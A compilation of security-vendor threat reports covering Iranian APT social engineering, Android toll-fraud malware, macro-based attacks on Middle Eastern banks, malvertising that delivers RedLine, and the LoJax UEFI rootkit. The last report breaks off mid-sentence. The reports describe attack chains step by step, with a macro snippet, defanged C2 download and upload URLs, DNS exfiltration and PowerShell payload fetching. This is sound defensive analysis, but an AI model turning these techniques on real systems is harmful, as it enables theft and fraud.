Understanding and dissecting foreign societies, languages, cultures, and political systems has enabled Tehran to leverage social engineering in ways comparable to Russian threat activity groups. Large-scale social engineering campaigns have predominantly been executed by APT35, Tortoiseshell, and APT34, and their associated sub-groups. While their operations do not diminish those run by other advanced persistent threat groups (APTs), these three Iran-nexus groups have depicted substantial tradecraft overlaps in how they target their victims. These include the use of charismatic sock puppets, the lure of prospective job opportunities, solicitation by journalists, and masquerading as think tank experts seeking opinions. These are just some of the personas which these three Iranian APTs have continued to use since the first major disclosure on Iranian social engineering — Operation Newscaster — was publicly reported in 2014. ## Key Judgments - The use of social engineering is a central component of Iranian APT tradecraft when engaging in cyber espionage and information operations. Iranian APTs will continue to modify their tradecraft, including phishing, spoofing, smishing, and other techniques to target their victims. - Multiple Iranian threat activity groups use social engineering. APT35, APT34, and Tortoiseshell remain among the earliest and most aggressive adopters of social engineering to aid their intrusion or credential theft operations. We expect these groups to continue to lead attacks using social engineering techniques in the future. - Patterns in Iranian social engineering attacks suggest they aim to drive targets to multiple platforms; this increases the attack surface by incorporating email, social media, and chat messengers as attack vectors. Malicious documents and applications will continue to be disseminated via one-to-one sock puppet engagements with their targets. - Various reported Iranian social engineering attacks share approaches, including recruitment offers, offers to solicit targets for journalistic purposes or political analysis, romantic engagements, and supposed anti-government activism. - The use of foreign languages and knowledge of foreign societies and cultures will continue to play a central role in targeted social engineering attacks. Iranian APTs are improving their command of major languages such as English and major European, Middle Eastern, and South Asian languages. ## Background The growth of Iranian social engineering can be traced to Iranian hacker forums, with many including sub-threads on the techniques necessary to target unsuspecting victims. Some of the earliest examples include the “Simorgh Security Team,” among the first to differentiate social engineering from other hacking disciplines. Members of that group claimed that a social engineer must be persuasive, articulate, and possess strong analytical and intelligence gathering skills. Social engineering, a component of Iran’s defensive and offensive cyber capabilities embedded in pro-government Iranian cyber doctrine, can be traced to institutionalized ideologies such as the “Soft War” (مﺮﻧ ﮓﻨﺟ). The concept of Soft War was established as far back as 2010 and aims to counter subversion, or political, religious, economic, and cultural ideals that may lead to the destabilization and fall of the Islamic Republic. These goals are likely achieved by networks of trusted experts rooted deeply in Iran’s military and intelligence organizations. For example, the commander of the Islamic Revolutionary Guard Corps (IRGC) in Kerman province (Sarullah Corps) recognized the role of repatriating Iranian “elites” in countering enemy influence and disinformation campaigns, declaring them key in the struggle against “the disproportionate soft war and psychological operations [PSYOPS] of the enemy.” In this context, elites refer to highly educated Iranians close to the regime who have been directed to seek education and employment opportunities abroad. The IRGC and its auxiliary force the Basij, as well as the Ministry of Intelligence and Security (MOIS), have cemented their role in the field to counter the Soft War since 2010; they have established multiple operational bases that, at least in name, are dedicated to the Soft War, such as the Baqiatallah al-Azam Social and Cultural Base (ﻢﻈﻋﻻا ﷲاﺔﯿﻘﺑ هﺎﮔراﺮﻗ). The Baqiatallah base is currently headed by the former commander of the IRGC, General Mohammad Ali Jafari, who on this matter claimed in November 2021 that the Islamic Republic’s enemies aimed to destroy it and that “soft, cultural, and media wars” were harder to combat than a kinetic war. Open source analysis has referred to Tehran’s strategic threat perceptions within this space. As early as 2010, Iran viewed social media platforms as “elements of a cyber warfare threat… particularly in the way rumors are spread online to ‘stir up’ discord within Iran,” following its own threats to the establishment that arose from the 2009 Green Movement. Iran has proven to strategically leverage the same threat calculus, along with the other Big Four (Russia, China, and to a lesser extent North Korea) adversarial nations, against its adversaries, including the US government. Operationally, Iranian social engineering depicts a strong emphasis on the use of foreign languages and cultures to execute defensive and offensive campaigns against domestic foes, such as anti-revolutionary fronts like the Mojahedeen Khalq Organization (MEK) and the National Council of Resistance of Iran (NCRI), and nations which Iran perceives to be its adversaries: the US, the UK, Israel, and Saudi Arabia. Pro-government operators understand adversarial societies and cultures well enough to mimic them; this capability manifests, whether successful or not, in information operations, psyops, and cyber intrusions.
# Toll Fraud Malware: How an Android Application Can Drain Your Wallet Toll fraud malware, a subcategory of billing fraud in which malicious applications subscribe users to premium services without their knowledge or consent, is one of the most prevalent types of Android malware – and it continues to evolve. Compared to other subcategories of billing fraud, which include SMS fraud and call fraud, toll fraud has unique behaviors. Whereas SMS fraud or call fraud use a simple attack flow to send messages or calls to a premium number, toll fraud has a complex multi-step attack flow that malware developers continue to improve. For example, we saw new capabilities related to how this threat targets users of specific network operators. It performs its routines only if the device is subscribed to any of its target network operators. It also, by default, uses cellular connection for its activities and forces devices to connect to the mobile network even if a Wi-Fi connection is available. Once the connection to a target network is confirmed, it stealthily initiates a fraudulent subscription and confirms it without the user’s consent, in some cases even intercepting the one-time password (OTP) to do so. It then suppresses SMS notifications related to the subscription to prevent the user from becoming aware of the fraudulent transaction and unsubscribing from the service. Another unique behavior of toll fraud malware is its use of dynamic code loading, which makes it difficult for mobile security solutions to detect threats through static analysis, since parts of the code are downloaded onto the device in certain parts of the attack flow. Despite this evasion technique, we’ve identified characteristics that can be used to filter and detect this threat. We also see adjustments in Android API restrictions and Google Play Store publishing policy that can help mitigate this threat. Toll fraud has drawn media attention since Joker, its first major malware family, found its way to the Google Play Store back in 2017. Despite this attention, there’s not a lot of published material about how this type of malware carries out its fraudulent activities. Our goal for this blog post is to share an in-depth analysis on how this malware operates, how analysts can better identify such threats, and how Android security can be improved to mitigate toll fraud. ## The WAP Billing Mechanism: An Overview To understand toll fraud malware, we need to know more about the billing mechanism that attackers use. The commonly used type of billing in toll fraud is Wireless Application Protocol (WAP). WAP billing is a payment mechanism that enables consumers to subscribe to paid content from sites that support this protocol and get charged directly through their mobile phone bill. The subscription process starts with the customer initiating a session with the service provider over a cellular network and navigating to the website that provides the paid service. As a second step, the user must click a subscription button, and, in some cases, receive a one-time password (OTP) that has to be sent back to the service provider to verify the subscription. ### Fraudulent Subscriptions via Toll Fraud We classify a subscription as fraudulent when it takes place without a user’s consent. In the case of toll fraud, the malware performs the subscription on behalf of the user in a way that the overall process isn’t perceivable through the following steps: 1. Disable the Wi-Fi connection or wait for the user to switch to a mobile network 2. Silently navigate to the subscription page 3. Auto-click the subscription button 4. Intercept the OTP (if applicable) 5. Send the OTP to the service provider (if applicable) 6. Cancel the SMS notifications (if applicable) One significant and permissionless inspection that the malware does before performing these steps is to identify the subscriber’s country and mobile network through the mobile country codes (MCC) and mobile network codes (MNC). This inspection is done to target users within a specific country or region. Both codes can be fetched by using either the TelephonyManager or the SystemProperties class. The TelephonyManager.getSimOperator() API call returns the MCC and MNC codes as a concatenated string, while other functions of the same class can be used to retrieve various information about the mobile network that the device is currently subscribed to. As the network and SIM operator may differ (e.g., in roaming), the getSimOperator function is usually preferred by malware developers. The same type of information can be fetched by using the SystemProperties.get(String key) function where the key parameter may be one or several (using multiple calls) of the following strings: gsm.operator.numeric, gsm.sim.operator.numeric, gsm.operator.iso-country, gsm.sim.operator.iso-country, gsm.operator.alpha, gsm.sim.operator.alpha. The difference with the first call is that the android.os.SystemProperties class is marked as @SystemApi, therefore an application has to use Java reflection to invoke the function. The MNC and MCC codes are also used to evade detection, as the malicious activity won’t be performed unless the SIM operator belongs to the ones targeted. ### Forcing Cellular Communication Variants of toll fraud malware targeting Android API level 28 (Android 9.0) or lower disable the Wi-Fi by invoking the setWifiEnabled method of the WifiManager class. The permissions needed for this call are ACCESS_WIFI_STATE and CHANGE_WIFI_STATE. Since the protection level for both permissions is set to normal, they are automatically approved by the system. Meanwhile, malware targeting a higher API level uses the requestNetwork function of the ConnectivityManager class. The Android developers page describes the requestNetwork method as: "This method will attempt to find the best network that matches the given NetworkRequest, and to bring up one that does if none currently satisfies the criteria." The required permission for this call is either CHANGE_NETWORK_STATE (protection level: normal) or WRITE_SETTINGS (protection level: signature|preinstalled|appop|pre23), but since the latter is protected, the former is usually preferred by malware developers. ### Fetching Premium Service Offers and Initiating Subscriptions Assuming that the SIM operator is on the target list and the device is using a TRANSPORT_CELLULAR type network, the next step is to fetch a list of websites offering premium services and attempt to automatically subscribe to them. The malware will communicate with a C2 server to retrieve a list of offered services. An offer contains, among other things, a URL which will lead to a redirection chain that will end up on a web page, known as the landing page. What happens next depends on the way that the subscription process is initiated, thus the malware usually includes code that can handle various subscription flows. In a typical case scenario, the user has to click an HTML element similar to the one depicted below (JOIN NOW), and as a second step, send a verification code back to the server. For the malware to do this automatically, it observes the page loading progress and injects JavaScript code designed to click HTML elements that initiate the subscription. As the user can only subscribe once to one service, the code also marks the HTML page using a cookie to avoid duplicate subscriptions. ### Intercepting OTPs In most cases, the service provider sends an OTP that must be sent back to the server to complete the subscription process. As the OTP can be sent by using either the HTTP or USSD protocol or SMS, the malware must be capable of intercepting these types of communication. For the HTTP protocol, the server’s reply must be parsed to extract the token. For the USSD protocol, on the other hand, the only way to intercept is by using the accessibility service. One method of intercepting an SMS message, requiring android.permission.RECEIVE_SMS permission, is to instantiate a BroadcastReceiver that listens for the SMS_RECEIVED action. To handle OTP messages that are sent using the HTTP protocol, the malware parses the HTML code to search for keywords indicating the verification token. The additional permission that is required to enable this flow is SEND_SMS. ### Suppressing Notifications Since API level 18, an application that extends the NotificationListenerService is authorized to suppress notifications triggered from other applications. This API subset is abused by malware developers to suppress service subscription notification messages posted by the default SMS application. More specifically, upon successful subscription, the service provider sends a message to the user to inform them about the charges and offers the option to unsubscribe. By having access to the notification listener service, the malware can call any of the functions mentioned above to remove the notification. ### Using Dynamic Code Loading for Cloaking Cloaking refers to a set of techniques used to hide malicious behavior. For example, most toll fraud malware won’t take any action if the mobile network is not among its targets. Another example of a cloaking mechanism used by these threats is dynamic code loading. This means that certain malware codes are only loaded when certain conditions are met, making it difficult to detect by static analysis. ### Mitigating the Threat of Toll Fraud Malware Toll fraud is one of the most common malware categories with high financial loss as its main impact. Due to its sophisticated cloaking techniques, prevention from the side of the user plays a key role in keeping the device secure. A rule of thumb is to avoid installing Android applications from untrusted sources (sideloading) and always follow up with device updates. We also recommend end users take the following steps to protect themselves from toll fraud malware: - Install applications only from the Google Play Store or other trusted sources. - Avoid granting SMS permissions, notification listener access, or accessibility access to any applications without a strong understanding of why the application needs it. - Use a solution such as Microsoft Defender for Endpoint on Android to detect malicious applications. - If a device is no longer receiving updates, strongly consider replacing it with a new device. ### Identifying Potential Malware For security analysts, it is important to be aware that conventional mitigation techniques based on static detection of malware code patterns can only offer limited remediation against this malware. There are, however, characteristics that can be used to identify this type of malware. We can classify these characteristics into three: - **Primary characteristics** – patterns in plaintext included in the application that can be analyzed statically - **Secondary characteristics** – common API calls used to conduct toll fraud activities - **Tertiary characteristics** – patterns in Google Play Store metadata such as the application’s category, the developer’s profile, and user reviews, among others The tertiary characteristics are useful for initial filtering for potential malware. Patterns observed in the apps’ metadata are related to malware developers’ attempts to infect as many devices as possible in a short amount of time, while remaining published on the Google Play Store for as long as they can. ### Improving Android Security and Privacy Google continuously improves Android security and privacy as the mobile threat landscape evolves and new threats and adversary techniques are discovered. For example, in the operating system, API calls that can reveal potentially sensitive information continue to be removed or restricted, and in the Google Play Store, the publication policies guard against use of certain high-risk permissions by requiring a Permission Declaration Form to be completed justifying their use. ### Conclusion Toll fraud has been one of the most prevalent types of Android malware in Google Play Store since 2017, when families like Joker and their variants made their first appearance. It accounted for 34.8% of installed Potentially Harmful Application (PHA) from the Google Play Store in the first quarter of 2022, ranking second only to spyware. By subscribing users to premium services, this malware can lead to victims receiving significant mobile bill charges. Affected devices also have increased risk because this threat manages to evade detection and can achieve a high number of installations before a single variant gets removed. With this blog, we want to inform end users about the details of this threat and how they can protect themselves from toll fraud. We also aim to provide security analysts with guidance on how to identify other malicious applications that use these techniques.
# Targeted Attacks against Banks in the Middle East ## Introduction In the first week of May 2016, FireEye’s DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region. The threat actors appear to be performing initial reconnaissance against would-be targets, and the attacks caught our attention since they were using unique scripts not commonly seen in crimeware campaigns. In this blog, we discuss in detail the tools, tactics, techniques, and procedures (TTPs) used in these targeted attacks. ## Delivery Method The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East. The themes of the messages used in the attacks are related to IT Infrastructure such as a log of Server Status Report or a list of Cisco Iron Port Appliance details. In one case, the content of the email appeared to be a legitimate email conversation between several employees, even containing contact details of employees from several banks. This email was then forwarded to several people, with the malicious Excel file attached. ## Macro Details The macro first calls an Init() function that performs the following malicious activities: 1. Extracts base64-encoded content from the cells within a worksheet titled "Incompatible". 2. Checks for the presence of a file at the path %PUBLIC%\Libraries\update.vbs. If the file is not present, the macro creates three different directories under %PUBLIC%\Libraries, namely up, dn, and tp. 3. The extracted content from step one is decoded using PowerShell and dropped into two different files: %PUBLIC%\Libraries\update.vbs and %PUBLIC%\Libraries\dns.ps1. 4. The macro then creates a scheduled task with the name GoogleUpdateTaskMachineUI, which executes update.vbs every three minutes. **Note:** Due to the use of a hardcoded environment variable %PUBLIC% in the macro code, the macro will only run successfully on Windows Vista and subsequent versions of the operating system. ## Run-time Unhiding of Content One of the interesting techniques we observed in this attack was the display of additional content after the macro executed successfully. This was done for the purpose of social engineering – specifically, to convince the victim that enabling the macro did in fact result in the “unhiding” of additional spreadsheet data. Office documents containing malicious macros are commonly used in crimeware campaigns. Because default Office settings typically require user action in order for macros to run, attackers may convince victims to enable risky macro code by telling them that the macro is required to view “protected content.” In crimeware campaigns, we usually observe that no additional content is displayed after enabling the macros. However, in this case, attackers took the extra step to actually hide and unhide worksheets when the macro is enabled to allay any suspicion. In the following code section, we can see that the subroutine ShowHideSheets() is called after the Init() subroutine executes completely: ```vb Private Sub Workbook_Open() Call Init Call ShowHideSheets End Sub ``` The code of subroutine ShowHideSheets(), which unhides the content after completion of malicious activities, is shown in the following section. ## First Stage Download After the macro successfully creates the scheduled task, the dropped VBScript, update.vbs, will be launched every three minutes. This VBScript performs the following operations: 1. Leverages PowerShell to download content from the URI hxxp://go0gIe[.]com/sysupdate.aspx?req=xxx\dwn&m=d and saves it in the directory %PUBLIC%\Libraries\dn. 2. Uses PowerShell to download a BAT file from the URI hxxp://go0gIe[.]com/sysupdate.aspx?req=xxx\bat&m=d and saves it in the directory %PUBLIC%\Libraries\dn. 3. Executes the BAT file and stores the results in a file in the path %PUBLIC%\Libraries\up. 4. Uploads this file to the server by sending an HTTP POST request to the URI hxxp://go0gIe[.]com/sysupdate.aspx?req=xxx\upl&m=u. 5. Finally, it executes the PowerShell script dns.ps1, which is used for the purpose of data exfiltration using DNS. During our analysis, the VBScript downloaded a customized version of Mimikatz. The customized version uses its own default prompt string as well as its own console title. Similarly, the contents of the BAT file downloaded in step two are used to collect important information from the system, including the currently logged on user, the hostname, network configuration data, user and group accounts, local and domain administrator accounts, running processes, and other data. ## Data Exfiltration over DNS Another interesting technique leveraged by this malware was the use of DNS queries as a data exfiltration channel. This was likely done because DNS is required for normal network operations. The DNS protocol is unlikely to be blocked (allowing free communications out of the network) and its use is unlikely to raise suspicion among network defenders. The script dns.ps1, dropped by the macro, is used for this purpose. The script requests an ID (through the DNS protocol) from go0gIe[.]com. This ID will then be saved into the PowerShell script. Next, the script queries the C2 server for additional instructions. If no further actions are requested, the script exits and will be activated again the next time update.vbs is called. If an action is required, the DNS server replies with an IP with the pattern 33.33.xx.yy. The script then proceeds to create a file at %PUBLIC%\Libraries\tp\chr(xx)chr(yy).bat. The script then proceeds to make DNS requests to fetch more data. Each DNS request results in the C2 server returning an IP address. Each octet of the IP address is interpreted as the decimal representation of an ASCII character; for example, the decimal number 99 is equivalent to the ASCII character ‘c’. The characters represented by the octets of the IP address are appended to the batch file to construct a script. The C2 server signals the end of the data stream by replying to a DNS query with the IP address 35.35.35.35. Once the file has been successfully transferred, the BAT file will be run and its output saved as %PUBLIC%\Libraries\tp\chr(xx)chr(yy).txt. The text file containing the results of the BAT script will then be uploaded to the DNS server by embedding file data into part of the subdomain. The BAT file and the text file will then be deleted. The script then quits, to be invoked again upon running the next scheduled task. ## Conclusion Although this attack did not leverage any zero-days or other advanced techniques, it was interesting to see how attackers used different components to perform reconnaissance activities on a specific target. This attack also demonstrates that macro malware is effective even today. Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources.
# Malvertising through Search Engines **Authors** Victoria Vlasova Haim Zigel Ilya Tyunkin In recent months, we observed an increase in the number of malicious campaigns that use Google Advertising as a means of distributing and delivering malware. At least two different stealers, Rhadamanthys and RedLine, were abusing the search engine promotion plan to deliver malicious payloads to victims’ machines. They seem to use the same technique of mimicking a website associated with well-known software like Notepad++ and Blender 3D. The threat actors create copies of legitimate software websites while employing typosquatting (exploiting incorrectly spelled popular brands and company names as URLs) or combosquatting (using popular brands and company names combined with arbitrary words as URLs) to make the sites look like the real thing to the end user—the domain names allude to the original software or vendor. The design and the content of the fake web pages look the same as those of the original ones. Threat actors then pay to promote the website in the search engine to push it to the top search results. The technique is called “malvertising”. ## Our Observations In the following snapshots, we can see Google ads promoting fake pages for AMD drivers and the Blender 3D software. If we take a closer look at the URLs, we will see that the domain names incorporate the software name but are in fact unrelated to the real AMD or Blender 3D vendors. In most cases, the top-level domains are different from those of the official sites as well. The use of less common TLDs enables the threat actors to register second-level domains that are similar to the real ones. These domains lure victims to click on the link and access the fake website more often than random domains registered in a more common domain zone, such as COM, because they may look more like a legitimate website. ### Fake AMD and Blender 3D Websites in Search Results We visited some of the promoted sites and obtained the malicious payloads they were distributing. In this article, we will focus mainly on the “Blender 3D” fake websites. ### Fake Blender 3D Web Pages The size of the downloaded file (ZIP archive) is 269 MB, which is close to the original Blender installer size. The size of 257 MB stated on the fake web page matches that of the original Blender 3D installer, but it does not match the size of the fake download. When the user clicks the “Download” button, the archive `blender-3.4.1-windows-x64.zip` (E0BDF36E4A7CF1B332DC42FD8914BA8B) is downloaded. The size of the file (BBA8AA93FCDDA5AC7663E90C0EEFA2E7) extracted from the archive is 657 MB. When launched, it drops two files into the temp directory: - The original Blender 3D MSI installer (marked green), whose size is also 657 MB. - A PE file that acts as a next-stage loader for a malicious PE file (marked red), which also has the same size as the original installer: 657 MB. The size of the dropped malicious loader is this big because it is inflated with junk bytes when the PE file is created. The deflated malicious loader size is about 330 KB, and the rest is junk. After the initial installer (extracted from the archive) drops these two files, it runs the malicious PE file using the CMD method (`cmd.exe /c [Filename]` command) to hide it from the user. Additionally, the initial installer also runs the original Blender 3D MSI to make the victim believe that the desired software is running. Thus, the threat actors disguise their malicious payload through the installation of another software product by creating a “pre-installer” for the legitimate software, which will put both the malware and the desired genuine software on the victim’s machine. ### The Loader The loader is a .NET file protected by an unregistered version of .NET Reactor. It seems to use an anti-debugging technique to prevent a debugger from executing and dynamically analyzing the binary. In a nutshell, the loader runs a new `powershell.exe` process and manipulates it to execute numerous PowerShell commands, which instruct it to access a third-party URL to get the payload. The payload is a base64-encoded, AES-encrypted fileless binary. Further commands are related to decoding and decrypting that binary, then running it in memory, within a newly created `aspnet_compiler.exe` process, a legitimate Windows .NET framework compilation tool. In this case, we observed two detection evasion tricks during the runtime: 1. The fileless technique, which involves getting a payload from an online source and loading it directly into the memory of a process. 2. LOLBAS (living-off-the-land binaries and scripts), which, in this case, is the use of a .NET compilation tool to run the malicious binary. Below, we provide a more detailed analysis of the loader execution chain. After passing the loader anti-debugger, we can see that it starts a PowerShell process, so we will put a breakpoint at the `CreateProcessW` WinAPI call to observe the behavior. Since we did not see any command passed to the PowerShell process when initializing it via the `CreateProcessW` call, we can conclude that it will be passed at some point later, so we can observe the passing of the PowerShell command(s) by putting a breakpoint at WinAPI `WriteFile` in order to see the command lines for the `powershell.exe` process. After letting it run and reach the breakpoint, we can check the result in the return of the function call, and we can see in the stack that the first command pushed to the `powershell.exe` process was `#Start-Sleep -seconds 30;`. If we read the commands, we will see exactly what the `powershell.exe` process is about to do. The commands instruct it to perform the following actions: 1. Download string data, which is part of the following URL, namely the name of the file: `http[:]//45.93.201[.]114/docs/[RandomChars].txt`. The downloaded data is a Base64-encoded string that is decoded into encrypted data. 2. Prepare the decryption method, AES-CBC, as can be seen in the screenshot above. We can also easily see and decode the Base64-encoded key and IV (initialization vector) used for decryption in the PowerShell command. 3. Decrypt the data into a Gzip-compressed binary. 4. Decompress the binary. 5. Invoke the binary to run it. ### The Extracted Binary (RedLine Stealer) The binary that we obtained is the dropper of known malware, the RedLine stealer. The version of the stealer at hand uses an interesting technique to hide its malicious payload: it is encoded in the least significant bit of images stored in the resource section of the dropper, as well as the key and the IV bytes for its AES decryption. After decrypting the payload, the dropper starts a legitimate process named `aspnet_compiler.exe`, which is part of the Microsoft .NET framework, and injects the payload into it. ## Infrastructure To deploy decoy pages, the malefactors register deceptive domain names, such as `blender3d-software[.]net` or `blender3d-software[.]org`. We have found more than fifty similar domains hosted at the same IP address: `91.229.23[.]200`. These domain names mimic other software distribution sites as well, for example, `afterburner-software[.]org`, `tradingviews-software[.]org`, and `unity-download[.]com`. The malicious payload could be stored on the same site (for example, `hxxps[://]blahder3dsoft[.]store/Blender[.]rar`) as the landing page or on a public service that can be used as the file hosting service (MediaFire or GitHub). ## Conclusion We are seeing an increase in the spread of malware families through Google Ads campaigns, specifically through search ads. Threat actors use fake websites to mimic legitimate software vendor websites to lure victims and pay for ads to promote these. They use typosquatting and combosquatting for their malicious website domains, which have become common techniques in recent months. In some cases, such as the one described in this article, the threat actors also make sure to install the desired software alongside their malicious payload. In recent campaigns, we observed mainly stealer-type malware, such as RedLine or the notorious Rhadamanthys, which is also known to use malvertising techniques to reach victims and steal data from their compromised machines. This kind of distribution suggests that the threat actors are targeting victims, both individual and corporate, all around the world. ## Indicators of Compromise | IoC | Description | | --- | ----------- | | E0BDF36E4A7CF1B332DC42FD8914BA8B | blender-3.4.1-windows-x64.zip | | BBA8AA93FCDDA5AC7663E90C0EEFA2E7 | blender-3.4.1-windows-x64.exe | | 4b6249bea60eec2d9e6890162a7fca5f | Blender.rar | | 8d709a5ce84504f83303afda88649b24 | RedLine stealer | | d0915b6057eb60c3878ce88d71efc351 | RedLine stealer | ### Malicious Domains and IPs - `hxxps[:]//download2392.mediafire.com/bb289kqoibyg/1udjwornnpwxlua/blender-3.4.1-windows-x64.zip/` - `hxxps[:]//github.com/sup6724/blender3d13/releases/download/updates/blender-3.4.1-windows-x64.zip` - `hxxps[://]blahder3dsoft[.]store/Blender[.]rar` - `http[:]//45.93.201[.]114/docs/[RandomChars].txt` - `91.229.23[.]200` (IP address common for some malicious landing pages) ### Fake Blender Websites - `blahder3dsoft[.]store` - `blender3d-download[.]com` - `blender3d-download[.]net` - `blender3d-download[.]org` - `blender3ds-download[.]com` - `blender3ds-download[.]net` - `blender3ds-download[.]org` - `blender3d-software[.]com` - `blender3d-software[.]net` - `blender3d-software[.]org` - `blender3ds-software[.]com` - `blender3ds-software[.]net` - `blender3ds-software[.]org` - `blender-download[.]com` - `blender-download[.]net` - `blender-download[.]org` - `blenders3d-download[.]com` - `blenders3d-download[.]net` - `blenders3d-download[.]org` ### Other Suspicious Software-Themed Domains - `afterburnermsi-download[.]com` - `afterburner-software[.]net` - `afterburner-software[.]org` - `desktop-tradingview[.]net` - `desktop-tradingview[.]org` - `download-tradingview[.]net` - `download-tradingview[.]org` - `overclock-msi[.]com` - `overclock-msi[.]net` - `overclock-msi[.]org` - `project-obs[.]com` - `project-obs[.]net` - `project-obs[.]org` - `studio-obs[.]com` - `studio-obs[.]net` - `studio-obs[.]org` - `tradingview-software[.]com` - `tradingview-software[.]net` - `tradingview-software[.]org` - `tradingviews-software[.]com` - `tradingviews-software[.]net` - `tradingviews-software[.]org` - `unity-download[.]com` - `unity-download[.]net` - `unity-download[.]org` - `unityhub-download[.]com` - `unityhub-download[.]net` - `unityhub-download[.]org` - `unity-software[.]net` - `unity-software[.]org` - `webull-download[.]com` - `webull-download[.]net` - `webull-download[.]org`
# LoJax: First UEFI Rootkit Found in the Wild, Courtesy of the Sednit Group ESET researchers have shown that the Sednit operators used different components of the LoJax malware to target a few government organizations in the Balkans as well as in Central and Eastern Europe. Update, 9 October 2018: The remediation section of the white paper contained inaccurate information. Secure Boot doesn’t protect against the UEFI rootkit described in this research. We advise that you keep your UEFI firmware up-to-date and, if possible, have a processor with a hardware root of trust as is the case with Intel processors supporting Intel Boot Guard (from the Haswell family of Intel processors onwards). UEFI rootkits are widely viewed as extremely dangerous tools for implementing cyberattacks, as they are hard to detect and able to survive security measures such as operating system reinstallation and even a hard disk replacement. Some UEFI rootkits have been presented as proofs of concept; some are known to be at the disposal of (at least some) governmental agencies. However, no UEFI rootkit has ever been detected in the wild – until we discovered a campaign by the Sednit APT group that successfully deployed a malicious UEFI module on a victim’s system. The discovery of the first in-the-wild UEFI rootkit is notable for two reasons. First, it shows that UEFI rootkits are a real threat, and not merely an attractive conference topic. Second, it serves as a heads-up, especially to all those who might be in the crosshairs of Sednit. This APT group, also known as APT28, STRONTIUM, Sofacy, and Fancy Bear, may be even more dangerous than previously thought. Our analysis of the Sednit campaign that uses the UEFI rootkit was presented September 27 at the 2018 Microsoft BlueHat conference and is described in detail in our “LoJax: First UEFI rootkit found in the wild, courtesy of the Sednit group” white paper. In this blog post, we summarize our main findings. The Sednit group has been operating since at least 2004 and has made headlines frequently in past years: it is believed to be behind major, high-profile attacks. For instance, the US Department of Justice named the group as being responsible for the Democratic National Committee (DNC) hack just before the US 2016 elections. The group is also presumed to be behind the hacking of global television network TV5Monde, the World Anti-Doping Agency (WADA) email leak, and many others. This group has a diversified set of malware tools in its arsenal, several examples of which we have documented previously in our Sednit white paper from 2016. Our investigation has determined that this malicious actor was successful at least once in writing a malicious UEFI module into a system’s SPI flash memory. This module is able to drop and execute malware on disk during the boot process. This persistence method is particularly invasive as it will not only survive an OS reinstall but also a hard disk replacement. Moreover, cleaning a system’s UEFI firmware means re-flashing it, an operation not commonly done and certainly not by the typical computer owner. In May 2018, an Arbor Networks blog post described several trojanized samples of Absolute Software’s LoJack small agent, rpcnetp.exe. These malicious samples communicated with a malicious C&C server instead of the legitimate Absolute Software server, because their hardcoded configuration settings had been altered. Some of the domains found in LoJax samples have been seen before: they were used in late 2017 as C&C domains for the notorious Sednit first-stage backdoor, SedUploader. Because of this campaign’s malicious usage of the LoJack small agent, we call this malware LoJax. LoJack is anti-theft software. Earlier versions of this agent were known as Computrace. As its former name implies, once the service was activated, the computer would call back to its C&C server and its owner would be notified of its location if it had gone missing or been stolen. Computrace attracted attention from the security community, mostly because of its unusual persistence method. Since this software’s intent is to protect a system from theft, it is important that it resists OS re-installation or hard drive replacement. Thus, it is implemented as a UEFI/BIOS module, able to survive such events. This solution comes pre-installed in the firmware of a large number of laptops manufactured by various OEMs, waiting to be activated by their owners. While researching LoJax, we found several interesting artifacts that led us to believe that these threat actors might have tried to mimic Computrace’s persistence method. ## Patching SPI Flash Memory with Malware On systems that were targeted by the LoJax campaign, we found various tools that are able to access and patch UEFI/BIOS settings. All used a kernel driver, RwDrv.sys, to access the UEFI/BIOS settings. This kernel driver is bundled with RWEverything, a free utility available on the web that can be used to read information on almost all of a computer’s low-level settings, including PCI Express, Memory, PCI Option ROMs, etc. As this kernel driver belongs to legitimate software, it is signed with a valid code-signing certificate. Three different types of tools were found alongside LoJax userland agents. The first one is a tool dumping information about low-level system settings to a text file. Since bypassing a platform’s protection against illegitimate firmware updates is highly platform-dependent, gathering information about a system’s platform is crucial. The purpose of the second tool is to save an image of the system firmware to a file by reading the contents of the SPI flash memory where the UEFI/BIOS is located. The third tool’s purpose is to add a malicious UEFI module to the firmware image and write it back to the SPI flash memory, effectively installing the UEFI rootkit on the system. This patching tool uses different techniques either to abuse misconfigured platforms or to bypass platform SPI flash memory write protections. The UEFI rootkit added to the firmware image has a single role: dropping the userland malware onto the Windows operating system partition and making sure that it is executed at startup. ## How to Protect Yourself While Secure Boot is the first mechanism that comes to mind when we think about preventing UEFI firmware attacks, it wouldn’t have protected against the attack we describe in this research. Despite this, we strongly suggest you enable Secure Boot on your systems, through the UEFI setup utility. Secure Boot is designed to protect against malicious components coming from outside of the SPI flash memory. To protect against tampering with the SPI flash memory, the system’s root of trust must be moved to hardware. Such technologies exist and Intel Boot Guard is a good example of this. It has been available starting with the Haswell family of Intel processors introduced in 2013. Had this technology been available and properly configured on the victim’s system, the machine would have refused to boot after the compromise. Updating system firmware should not be something trivial for a malicious actor to achieve. There are different protections provided by the platform to prevent unauthorized writes to system SPI flash memory. The tool described above is able to update the system’s firmware only if the SPI flash memory protections are vulnerable or misconfigured. Thus, you should make sure that you are using the latest UEFI/BIOS available for your motherboard. Also, as the exploited vulnerability affects only older chipsets, make sure that critical systems have modern chipsets with the Platform Controller Hub (introduced with Intel Series 5 chipsets in 2008). Unfortunately for the ambitious end user, updating a system’s firmware is not a trivial task. Thus, firmware security is mostly in the hands of UEFI/BIOS vendors. The security mechanisms provided by the platform need to be configured properly by the system firmware in order to actually protect it. Firmware must be built from the ground up with security in mind. Fortunately, more and more security researchers are looking at firmware security, thus contributing to improving this area and raising awareness among UEFI/BIOS vendors. Remediation of a UEFI firmware-based compromise is a hard problem. There are no easy ways to automatically remove such a threat from a system. In the case we described above: in order to remove the rootkit, the SPI flash memory needs to be reflashed with a clean firmware image specific to the motherboard. This is a delicate operation that must be performed manually. It is definitely not a procedure that most computer owners are familiar with. The only alternative to reflashing the UEFI/BIOS is to replace the motherboard of the compromised system outright. The links with the Sednit APT group: some of the LoJax small agent C&C servers were used in the past by SedUploader, a first-stage backdoor routinely used by Sednit’s operators. Also, in cases of LoJax compromise, traces of other Sednit tools were never far away. In fact, systems targeted by LoJax usually also showed signs of these three examples of Sednit malware: - SedUploader, a first-stage backdoor - XAgent, Sednit’s flagship backdoor - Xtunnel, a network proxy tool that can relay any kind of network traffic between a C&C server on the Internet and an endpoint computer inside a local network These facts allow us to attribute LoJax with high confidence to the Sednit group. ## In Conclusion Through the years we’ve spent tracking the Sednit group, we have released 